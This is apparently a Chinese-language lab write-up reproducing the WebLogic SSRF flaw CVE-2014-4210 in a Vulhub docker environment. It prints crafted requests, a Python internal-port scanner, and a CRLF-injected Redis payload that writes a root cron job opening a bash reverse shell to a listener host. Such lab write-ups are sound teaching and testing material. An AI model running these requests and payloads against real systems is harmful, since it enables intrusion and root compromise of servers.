@周同学，听说你最近很膨胀呀，那我那我~就......算了，算了吧，不行我还是，还是要把你戳漏气............贼兮兮的笑。
偶然，无意中看到这个Vulhub漏洞靶场，我，扶我起来，我还能复现
最初心态
主要记录一下Weblogic SSRF 利用的操作过程。干着干着，就想歪了.......找不到心态，还是回归真诚吧（一波心灵鸡汤强势来袭）
——————————————————————————————————————
一、WebLogic SSRF漏洞简介
漏洞编号：CVE-2014-4210
漏洞影响：版本10.0.2,10.3.6
漏洞产生的原因：
Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。
复现借鉴文档：Weblogic SSRF漏洞 @Vulhub
Oracle WebLogic Web Server既可以被外部主机访问，同时也允许访问内部主机。可以用来进行端口扫描等。
二、环境介绍
本次实验的环境使用的是phith0n vulhub 中的Weblogic SSRF
将vulhub项目git到本地，切换到vulhub/weblogic/ssrf目录下：
2.1编译及启动测试环境
下载环境需要费点时间，建议先更换好软件源并更新系统后再使用如下命令：
docker-compose build
docker-compose up -d
启动之后
ttf@ubuntu:~$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
0d73a0a51681 vulhub/weblogic "startWebLogic.sh" 21 hours ago Up 21 hours 5556/tcp, 0.0.0.0:7001->7001/tcp ssrf_weblogic_1
84933e90b86e ssrf_redis "/usr/local/bin/dock…" 21 hours ago Up 21 hours 6379/tcp ssrf_redis_1
2.2访问测试
访问http://192.168.10.115:7001/uddiexplorer/， 可以看到，服务已经正常启动，
无需登录即可查看uddiexplorer应用。
image.png
三、漏洞测试
3.1 端口开放测试
SSRF漏洞存在于http://192.168.10.115:7001/uddiexplorer/SearchPublicRegistries.jsp，访问一个可以访问和不能访问的端口得到的结果是不一样的。
可访问：
可访问的端口将会得到错误，一般是返回status code（如下图），如果访问的非http协议，则会返回did not have a valid SOAP content-type
不可访问：
修改为一个不存在的端口，将会返回could not connect over HTTP to server
四、SSRF漏洞测试
4.1可访问的端口
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: 192.168.10.115:7001
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; PHPSESSID=46jks7kkm2jadi5km3rk9vfpn1; security=impossible; JSESSIONID=ZJggb1gJQfrQxzL02Wsxny0L4LcHKVtgvkbT3zQfqhgD1tCqTvV1!-145725829
image.png
4.2不可访问端口
如端口7000，此端口并未开放
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000 HTTP/1.1
Host: 192.168.10.115:7001
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; PHPSESSID=46jks7kkm2jadi5km3rk9vfpn1; security=impossible; JSESSIONID=ZJggb1gJQfrQxzL02Wsxny0L4LcHKVtgvkbT3zQfqhgD1tCqTvV1!-145725829
image.png
通过错误的不同，即可探测内网状态。
4.3 注入HTTP头，利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先，通过ssrf探测内网中的redis服务器（docker环境的网段一般是172.*），发现172.19.0.2:6389可以连通：
weblogic_ssrf.py
#!/usr/bin/env python
# coding: utf-8
#'Weblogic SSRF 扫描内网 IP 开放端口 '
import argparse
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = args.url+'/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content) #bugfix:此处进行优化，防止抛出no route to host类型错误
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Weblogic SSRF vulnerable exploit')
parser.add_argument('--url', dest='url', required=True, help='Target url')
# parser.add_argument('--ip', dest='scan_ip', help='IP to scan')
args = parser.parse_args()
# ip = '.'.join(args.scan_ip.split('.')[:-1])
ip = "172.19.0" #这里diy了一下，用来探测172.19.0网段中各组件的开放的端口，试图找出redis位置。ps:我也探测过172.18.0网段，但其中并没有开启6379的。
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
python weblogic_ssrf.py --url http://192.168.10.115:7001
image.png
docker ps
ttf@ubuntu:~/vulhub-master/vulhub-master/weblogic/ssrf$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
0d73a0a51681 vulhub/weblogic "startWebLogic.sh" 22 hours ago Up 22 hours 5556/tcp, 0.0.0.0:7001->7001/tcp ssrf_weblogic_1
84933e90b86e ssrf_redis "/usr/local/bin/dock…" 22 hours ago Up 22 hours 6379/tcp ssrf_redis_1
如果不会写，脚本扫描，可以通过buspsuite的返回包来判断
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/ HTTP/1.1
Host: 192.168.10.115:7001
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; PHPSESSID=46jks7kkm2jadi5km3rk9vfpn1; security=impossible; JSESSIONID=ZJggb1gJQfrQxzL02Wsxny0L4LcHKVtgvkbT3zQfqhgD1tCqTvV1!-145725829
image.png
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/ HTTP/1.1
Host: 192.168.10.115:7001
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; PHPSESSID=46jks7kkm2jadi5km3rk9vfpn1; security=impossible; JSESSIONID=ZJggb1gJQfrQxzL02Wsxny0L4LcHKVtgvkbT3zQfqhgD1tCqTvV1!-145725829
image.png
由此，我们知道docker环境中地址172.19.0.2，在端口6379运行Redis 服务。
4.4 反弹shell
在本地局域网的一台机器172.19.0.1上进行监听：nc -lvv 1337 （更改成自己机器的实际地址）
将如下数据进行Urlencode, 可使用在线工具，或者火狐插件自带的工具
明文：
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.19.0.1/1337 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2a%20%2a%20%2a%20%2a%20%2a%20root%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f172.19.0.1%2f1337%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2fetc%2f%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa
image.png
可进行利用的cron有如下几个地方：
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件\
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F1337%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: 192.168.10.115:7001
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; PHPSESSID=46jks7kkm2jadi5km3rk9vfpn1; security=impossible; JSESSIONID=ZJggb1gJQfrQxzL02Wsxny0L4LcHKVtgvkbT3zQfqhgD1tCqTvV1!-145725829
image.png
我们可以看到成功的反弹了shell（反弹shell的过程略微有点慢，稍候...）
image.png
4.5释放靶场
docker-compose down